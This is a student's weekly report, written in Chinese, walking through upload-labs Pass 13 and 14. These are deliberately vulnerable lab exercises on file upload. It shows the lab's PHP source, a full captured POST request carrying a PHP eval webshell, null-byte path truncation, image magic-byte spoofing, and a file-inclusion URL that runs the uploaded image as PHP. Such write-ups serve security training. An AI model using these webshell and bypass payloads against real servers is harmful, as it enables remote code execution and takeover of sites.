

计科 234 徐潘第 9 周周报

那么本周的周报继续展示我之前整理的 upload-labs 题目：

```
##*Upload-Labs-Pass13*
```

```
**任务：上传一个 webserv 到服务器**
```

查看网站源码：

```
```shell
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
 $ext_arr = array('jpg','png','gif');
 $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
 if(in_array($file_ext,$ext_arr)){
 $temp_file = $_FILES['upload_file']['tmp_name'];
 $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".$file_ext;//将文件从临时路径中通过
 POST 请求取出拼接进传输路径
```

```
 if(move_uploaded_file($temp_file,$img_path)){
 $is_upload = true;
 } else {
 $msg = "上传失败";
 }
 } else {
 $msg = "只允许上传.jpg|.png|.gif 类型文件! ";
 }
}
```
```

可以看到该网站使用的还是白名单过滤，在将文件从临时路径中取出是通过 POST 请求来完成的，可以通过修改 POST 请求上的信息绕过将一句话木马 php 文件修改后缀为 jpg，打开 BP 抓包，上传：

```
```shell
POST /Pass-12/index.php HTTP/1.1
Host: 789247d8-a9f8-48c4-b449-02d0a67f836f.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary94ef1babd90bdf7ac771b6402f16dffdd
```

```
Content-Length: 486
Origin: http://789247d8-a9f8-48c4-b449-02d0a67f836f.node5.buuoj.cn:81
Connection: keep-alive
Referer: http://789247d8-a9f8-48c4-b449-02d0a67f836f.node5.buuoj.cn:81/Pass-12/index.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
```

```
-----geckoformboundary94ef1babd90bdf7ac771b6402f16dfdd
Content-Disposition: form-data; name="save_path"
```

```
../upload/
-----geckoformboundary94ef1babd90bdf7ac771b6402f16dfdd
Content-Disposition: form-data; name="upload_file"; filename="trojan.jpg"
Content-Type: image/jpeg
```

```
<?php
@eval($_POST['a']);
?>
-----geckoformboundary94ef1babd90bdf7ac771b6402f16dfdd
Content-Disposition: form-data; name="submit"
```

```
上传
-----geckoformboundary94ef1babd90bdf7ac771b6402f16dfdd--
```
```

可以看到中间的 `upload` 语句就是 `POST` 请求的路径，将其修改为：

```
```shell
../upload/trojan.php
```
```

注意将后缀名 `php` 后加一个字符并将其改为十六进制为 `00` 的字符（空字符），否则后面的信息会使得路径不成立导致保存失败
这样，文件名通过了白名单检测，而一句话木马就以 `php` 文件从临时目录路径上上传上去了，使用蚁剑连接后门也能连接成功

****Upload-Labs-Pass14****

****任务：上传图片马到服务器****

注意：

1. 保证上传后的图片马中仍然包含完整的一句话或 `webshell` 代码。
2. 使用文件包含漏洞能运行图片马中的恶意代码。
3. 图片马要 `.jpg`, `.png`, `.gif` 三种后缀都上传成功才算过关

前置知识：图片字节标识（十六进制）

JPG/JFIF（常见的照片格式）：头两个字节为 `0xFF`, `0xD8`

PNG（无压缩格式）：头两个字节为 0x89，0x50

GIF（支持动画的图像格式）：头两个字节为 0x47，0x49

BMP（Windows 位图格式）：头两个字节为 0x42，0x4D

TIFF（标签图像文件格式）：头两个字节可以是不同的数值

一个字节等于一个 8bit 的二进制数字序列，在 Utf-8 中，一个英文字符占一个字节，中文（含繁体）占三个字节

查看网站源码：

```
```shell
function getReailFileType($filename){

 $file = fopen($filename, "rb");//以二进制的形式打开文件

 $bin = fread($file, 2); //只读 2 字节

 fclose($file);

 $strInfo = @unpack("C2chars", $bin);

 $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);

 $fileType = '';

 switch($typeCode){ //判断图片的文件类型

 case 255216:

 $fileType = 'jpg';

 break;

 case 13780:

 $fileType = 'png';

 break;

 case 7173:

 $fileType = 'gif';

 break;

 default:

 $fileType = 'unknown';

 }

 return $fileType;

}
```

```
$is_upload = false;

$msg = null;

if(isset($_POST['submit'])){

 $temp_file = $_FILES['upload_file']['tmp_name'];

 $file_type = getReailFileType($temp_file);
```

```


 if($file_type == 'unknown'){

 $msg = "文件未知，上传失败！";

 }else{

 $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".$file_type;

 if(move_uploaded_file($temp_file,$img_path)){
```

```

 $is_upload = true;
 } else {
 $msg = "上传出错! ";
 }
}
}
}
}
...

```

可以看见在断图片的文件类型时的逻辑是识别文件的头两个字节, 其中 `case` 语句中的十进制数值对应的就是图片文件头两个十六进制数值

在一句话木马前添加两个任意占位字符, 然后使用 `010Editor` 打开一句话木马文件, 将头两个字符十六进制数值改成 `FF`、`D8`, 保存并上传网站

上传成功, 但打开时文件解析方式是 `jpg`, 蚁剑连接后门不能连接上

点击“文件包含漏洞”, 查看代码:

```

```shell
<?php
/*
本页面存在文件包含漏洞, 用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8"); //头部文件, html 文件使用 Utf-8 编码
$file = $_GET['file']; //通过 GET 请求获得 file 参数中的数据
if(isset($file)){
    include $file; //包含文件
}else{
    show_source(__file__);
}
?>
```

```

可以看见, 在对文件进行包含时, 没有对文件进行过滤, 这是一个及其危险的漏洞, 它允许网站上的文件以其语言解析

例如上传一个 `txt` 文件, 内容是 `php` 代码, 在网址上使用 `file` 访问时, 它会以 `php` 的方式运行

由此可以通过网址访问上传成功的木马:

```

```shell
http://localhost/upload-labs/index.php?file=./upload/3920250329033645.jpg
```

```

这样上传的图片马就以 `php` 文件的形式解析了, 其中, 上传的文件存储在 `upload` 文件目录下, 而文件名是一个时间戳随机数, 可以通过在新页面中打开图片马得到

使用蚁剑连接后门也能连接成功, `png` 和 `gif` 图片马同理